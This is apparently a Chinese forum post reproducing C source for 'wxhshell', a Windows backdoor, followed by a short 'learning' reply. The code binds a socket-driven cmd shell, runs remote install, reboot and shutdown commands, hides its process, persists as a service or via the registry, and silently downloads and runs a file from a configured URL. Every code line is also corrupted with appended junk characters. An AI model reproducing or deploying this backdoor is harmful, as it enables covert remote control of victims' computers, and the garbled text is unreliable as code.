  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pdcwq~4~%  
  else CL<KBmW7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CwEWW\Bu  
  } nY"rqILX?  
  else { c=jI.=mi3  
6b+ Wl Ib  
    switch(cmd[0]) {  Vgru, '  
  _/z)&0DO  
  // 帮助 _]?Dt%MkD  
  case '?': { @dT: 1s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E^EU+})Ujr  
    break; ai;gca_P#  
  } Vx7Dl{?{'  
  // 安装 NbdMec  
  case 'i': { 1 ">d|oC  
    if(Install()) i Ks,i9j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3>@qQ_8%~  
    else Fgc:6<MGM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _1>(GK5[  
    break; >m_ p\$_  
    } ;SlS!6.W-  
  // 卸载 jN'fm  
  case 'r': { VATXsD  
    if(Uninstall()) ^b|Nw:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Zb"T5E  
    else $E9daUt8"J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ad3z]dUZ9  
    break; q$u\ q.  
    } Edn$0D68u_  
  // 显示 wxhshell 所在路径 0P%|)Ae  
  case 'p': { bh;b` 5  
    char svExeFile[MAX_PATH]; xn x1`|1u  
    strcpy(svExeFile,"\n\r"); ]\9B?W(#  
      strcat(svExeFile,ExeFile); OL ]T+6X  
        send(wsh,svExeFile,strlen(svExeFile),0); )zL"r8si  
    break; XB!`*vZ/<  
    } }r<@o3t  
  // 重启 \Q?|gfJH  
  case 'b': { M\.T 0M_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7L~ zI>2  
    if(Boot(REBOOT)) h7W%}6Cqkw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f'i8Mm4IL  
    else { =Q=&Ucf_  
    closesocket(wsh); fFTvf0j  
    ExitThread(0); B,m$ur#$  
    } X5oW[  
    break; X^_+%U  
    } UN .[,%<s  
  // 关机 2Fp]S a  
  case 'd': { d`],l\o C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {+UNjKQC  
    if(Boot(SHUTDOWN)) 4pTu P /  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _]~ht H  
    else { 84oW  
    closesocket(wsh); o|*|  
    ExitThread(0); m9<[bEO<$  
    } 7s fuju(  
    break; 9bcyPN  
    } E[Ws} n.  
  // 获取shell fF-\TW  
  case 's': { #+ lq7HJ1  
    CmdShell(wsh); Sc"4%L  
    closesocket(wsh); vL=--#  
    ExitThread(0); 6`5 @E\"E  
    break; T~~$=vP9  
  } `Py= ?[cD  
  // 退出 3_eml\CY  
  case 'x': { ?o(X0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b\Xu1>  
    CloseIt(wsh); +_XbHjhN/  
    break; V8U`%/`N  
    } A*;^F]~'  
  // 离开 g;Sg 2  
  case 'q': { )6R#k8'ERr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]gZ8b- 2O  
    closesocket(wsh); Gv+Tg/  
    WSACleanup(); ?VN]0{JSp  
    exit(1); (#l_YI -  
    break; G$kwc F'C  
        } NUNn[c  
  } UE#Ni 5  
  } aaD$'Y,<>B  
JQh s=Xg  
  // 提示信息 Jx ;"a\KD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ):\{n8~  
} RWPd S  
  } )w 8lusa  
,vdP #:  
  return; s$\8)V52  
} wrb& ta  
(yTz^o$t|  
// shell模块句柄 c+i`Zd.m<  
int CmdShell(SOCKET sock) cxJK>%84  
{ I/b8  
STARTUPINFO si; $\@ V4  
ZeroMemory(&si,sizeof(si)); ,t&-`U]AX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~md|k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^FMa8;'o  
PROCESS_INFORMATION ProcessInfo; .rB;zA;4S)  
char cmdline[]="cmd"; n ua8y(W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I~ ]mX;  
  return 0; MbFe1U]B  
} #|_UA}Y  
AW;) _|xM  
// 自身启动模式 F#bo4'&>@  
int StartFromService(void) ].f,3it g&  
{ ;pyJ O_R[  
typedef struct "oXAIfU#T  
{ XQY&4tK  
  DWORD ExitStatus; @] "9EW 0  
  DWORD PebBaseAddress; lgqL)^8A  
  DWORD AffinityMask; j}.J$RtW1f  
  DWORD BasePriority; `8.32@rUB.  
  ULONG UniqueProcessId; 42LXL*-4  
  ULONG InheritedFromUniqueProcessId; j.N\U#3KK  
}   PROCESS_BASIC_INFORMATION; 8*PAgPj a  
hSKH#NS  
PROCNTQSIP NtQueryInformationProcess; Nu2]~W&  
U9[A(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )"Br,uIv:/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jv=f@:[`I  
c@#zjJhW]  
  HANDLE             hProcess; sCCr%r]zL  
  PROCESS_BASIC_INFORMATION pbi; vrnj}f[h  
7>@/*S{X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %+B-Z/1}  
  if(NULL == hInst ) return 0; p{svXP K  
W#_gvW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vMdhNOU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Lz{T8yvZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2&K|~~  
Wk6&TrWlY  
  if (!NtQueryInformationProcess) return 0; k8wi-z[dV  
:h^UC~[h 3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ci9wF (<k  
  if(!hProcess) return 0; V;]VwsZ"  
14YV#o:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -x\l<\*  
-&D6w9w  
  CloseHandle(hProcess); f#Cdx"  
<\>ak7m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RYJc>  
if(hProcess==NULL) return 0; SVWSO  
L=w Fo^N  
HMODULE hMod; G/3lX^Z>  
char procName[255]; =}GyI_br;8  
unsigned long cbNeeded; H1qw1[%0y  
I5OH=,y`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &`Z)5Ww  
8PjhvU  
  CloseHandle(hProcess); ZV4' |q  
2OlC7X{  
if(strstr(procName,"services")) return 1; // 以服务启动 {!Z_&i5  
K}3"KC  
  return 0; // 注册表启动 '"\Mjz)/  
} xWb?i6)z&  
s l @6  
// 主模块 5f@YrTO[@  
int StartWxhshell(LPSTR lpCmdLine) Yn2^nT=8  
{ +Qb/:xQu  
  SOCKET wsl; *xTquV$  
BOOL val=TRUE; JU1; /3(  
  int port=0; #&c;RPac!6  
  struct sockaddr_in door; HFWm}vA:  
&:f'{>3z  
  if(wscfg.ws_autoins) Install(); mf[79:90^  
o? "@9O?  
port=atoi(lpCmdLine); 9}$dwl(  
D c.WvUM  
if(port<=0) port=wscfg.ws_port; j =%-b]  
3Il/3\  
  WSADATA data; afq +;Sh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n(O p<  
)^#Zg8L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {&qsh9ob  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L\CM);y  
  door.sin_family = AF_INET; Ki;5 =)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <KPx0g?=b  
  door.sin_port = htons(port); rB|:r\Z(jG  
-+@~*$ d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Awf = yE:  
closesocket(wsl); ms<uYLp  
return 1; zGz'2, o3  
} xm, yqM!0A  
:?6$}GcW  
  if(listen(wsl,2) == INVALID_SOCKET) { v+o3r]Y6  
closesocket(wsl); bJ!f,a'/  
return 1; {:OVBX  
} [7w_.(f#  
  Wxhshell(wsl); &YP>" <  
  WSACleanup(); k\Tm?^L)  
`9{C/qB  
return 0; sc>)X{eb  
u`,R0=<4  
} A_U0HVx_  
K :ptfD  
// 以NT服务方式启动 Bin&:%|9?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >.~k?_Of  
{ 5{aQ4H>~tx  
DWORD   status = 0; 4GA-dtyV&  
  DWORD   specificError = 0xfffffff; )?y"NVc*  
8Kkr1}!wd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #|E. y^IC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &scD)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BTtYlpN6  
  serviceStatus.dwWin32ExitCode     = 0; {j*+:Gj0V  
  serviceStatus.dwServiceSpecificExitCode = 0; 9gayu<J  
  serviceStatus.dwCheckPoint       = 0; IFoN<<7/2$  
  serviceStatus.dwWaitHint       = 0; oioN0EuDk  
Ps4A B#3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `&7? +s  
  if (hServiceStatusHandle==0) return; ]r5Xp#q2  
wk/U"@lq  
status = GetLastError(); Q[tz)99~  
  if (status!=NO_ERROR) i.,B 0s] Z  
{ uW_ /7ex  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; < _uv!N  
    serviceStatus.dwCheckPoint       = 0; F$p,xFH#  
    serviceStatus.dwWaitHint       = 0; }gaKO 5  
    serviceStatus.dwWin32ExitCode     = status; 8GQs9  
    serviceStatus.dwServiceSpecificExitCode = specificError; U<byR!qLie  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (7!(e  ,  
    return; vG:,oB}  
  } v3#47F)  
n:z>l,`C]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?KW?] o  
  serviceStatus.dwCheckPoint       = 0; s5#g[}dj  
  serviceStatus.dwWaitHint       = 0; 824%]i3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :$d3a"]  
} T,@7giQg@  
0_izTke  
// 处理NT服务事件,比如:启动、停止 y%Ah"UY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aKcV39brr  
{ Q-CVq_\3I  
switch(fdwControl) 7@]hu^)rry  
{ 2mG?ve%m)  
case SERVICE_CONTROL_STOP: #2,L)E\G8e  
  serviceStatus.dwWin32ExitCode = 0; ;yrcH+I$_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  ]^%3Y  
  serviceStatus.dwCheckPoint   = 0; NPabM(<`  
  serviceStatus.dwWaitHint     = 0; X~!?t }  
  { G&Sg .<hn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !\v3bOi&  
  } ,aL"Wy(  
  return; v9kzMxs,  
case SERVICE_CONTROL_PAUSE: 6Z:|"AwC2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M!@[lJ  
  break; |REU7?B  
case SERVICE_CONTROL_CONTINUE: 3E:<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [-a /]  
  break; l).Ijl}AH;  
case SERVICE_CONTROL_INTERROGATE: B`Pi\1H6%  
  break; B)*%d7=x  
}; NYRNop( N#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UkQocZdZ  
} ] UTP~2N  
-2 ?fg   
// 标准应用程序主函数 <{j9|mt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A(5? ci  
{ qpCi61lTDJ  
JOk`emle  
// 获取操作系统版本 U {v_0\ES  
OsIsNt=GetOsVer(); Gu=bPQOj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {'[1I_3  
S_=uv)%a  
  // 从命令行安装 9rz"@LM  
  if(strpbrk(lpCmdLine,"iI")) Install(); L.[2l Q  
VtFh1FDI\  
  // 下载执行文件 cMAfW3j: ;  
if(wscfg.ws_downexe) { &2^V<(19  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Sj+#yct-  
  WinExec(wscfg.ws_filenam,SW_HIDE); cFQa~  
} *x!5I$~J  
 UI'eD)WR  
if(!OsIsNt) { huE#VY /t  
// 如果时win9x,隐藏进程并且设置为注册表启动 Uy=eHwU?J  
HideProc(); "w1jr 6"  
StartWxhshell(lpCmdLine); H*IoJL6  
} QB>e(j%  
else )vzT\dQ|  
  if(StartFromService()) @"0qS:s]X  
  // 以服务方式启动 aleIy}"  
  StartServiceCtrlDispatcher(DispatchTable); LA5rr}<K  
else CJ b ~~  
  // 普通方式启动 cj)~7 WF  
  StartWxhshell(lpCmdLine); t~`Ef  
( d.i np(  
return 0; >6j`ZWab>  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五